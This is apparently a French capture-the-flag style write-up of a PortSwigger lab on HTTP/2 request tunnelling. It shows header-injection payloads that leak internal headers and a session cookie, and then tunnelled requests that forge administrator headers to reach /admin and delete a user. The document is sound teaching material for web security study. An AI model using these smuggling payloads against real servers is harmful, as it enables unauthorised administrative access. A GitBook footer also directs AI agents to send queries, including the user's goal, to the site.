> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).

# Contournement des contrôles d’accès via tunnel HTTP 2

Notes sur le contournement des contrôles d’accès via tunnel HTTP 2 pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Contournement des contrôles d’accès via la tunnellisation des requêtes HTTP/2

#### **Description du labo**

Ce labo est vulnérable au request smuggling car le serveur frontal rétrograde les requêtes HTTP/2 vers HTTP/1 tout en nettoyant incorrectement les noms d’en-têtes entrants. / Pour résoudre le labo, vous devez accéder au panneau d’administration situé à **/admin** en tant qu’administrateur, puis supprimer l’utilisateur **carlos**.

Le serveur frontal ne réutilise pas la connexion avec le serveur interne, il n’est donc pas vulnérable aux attaques classiques de request smuggling. En revanche, il reste exposé à la **Tunnellisation HTTP/2**.

#### **Étude du comportement du serveur**

Tout d’abord, insérez un en-tête personnalisé, par exemple :

{% code title="Nom :" %}

```http
Test: En test
Host: jord4n.pro
Valeur :
```

{% endcode %}

<pre class="language-http" data-title="Valeur :"><code class="lang-http"><strong>valeur
</strong></code></pre>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c275991f974b7d40a502cc9d3b02b81cdf726565%2F%7B02EEF99B-E4B8-44D9-B392-1930926643C7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le serveur renvoie alors une erreur, indiquant que l’en-tête est injectable.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121e9bebe5d3ab39d0c7812ea4f104e934190f7b%2F%7B6CD118FF-6685-4DD2-9BDC-245E756576B0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Puis, si nous saisissons dans le moteur de recherche quelque chose comme :

{% code title="Nom" %}

```http
Test : test
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c5da426833547a0ca5aab1ffdc1a3eea4f9d15%2F%7B8B7E0FDC-57D6-4207-9384-EEF88569A778%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94be2d59a13eb37aff7b40ee799e69503697f0a4%2F%7B611419D9-7309-45E6-ACA2-0A358C186459%7D.png?alt=media" alt="" width="316"><figcaption></figcaption></figure>

le serveur frontal est confus à cause de cet en-tête supplémentaire. / En augmentant le **Content-Length** à environ **150**, le serveur renvoie des en-têtes internes :

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01301769461f28f2bd626426a555ec08610c20be%2F%7B0C23708B-B47F-457F-8A9A-4CE68702C014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Construction de la requête tunnelisée**

Une nouvelle séquence d’en-têtes est maintenant injectée :

```http
Test : test

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

Pour que la tunnellisation fonctionne correctement, la méthode appropriée (HEAD ou GET selon le cas) et la route souhaitée sont renseignées.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4169ca3f7beba9d861fa17170311ccf37a22e9a1%2F%7B1D9C6CC5-B1B4-43D7-9F2A-F9FF11F9088F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le panneau d’administration est alors consulté, où les utilisateurs **wiener** et **carlos** apparaissent.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2ab5a9943e2633697c362873c23956cf109f420%2F%7BAD63DC03-93A1-4F32-8FF1-106F1CB19326%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Suppression de l’utilisateur**

La suppression s’effectue en envoyant une requête tunnelisée similaire :

```http
Test : test

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
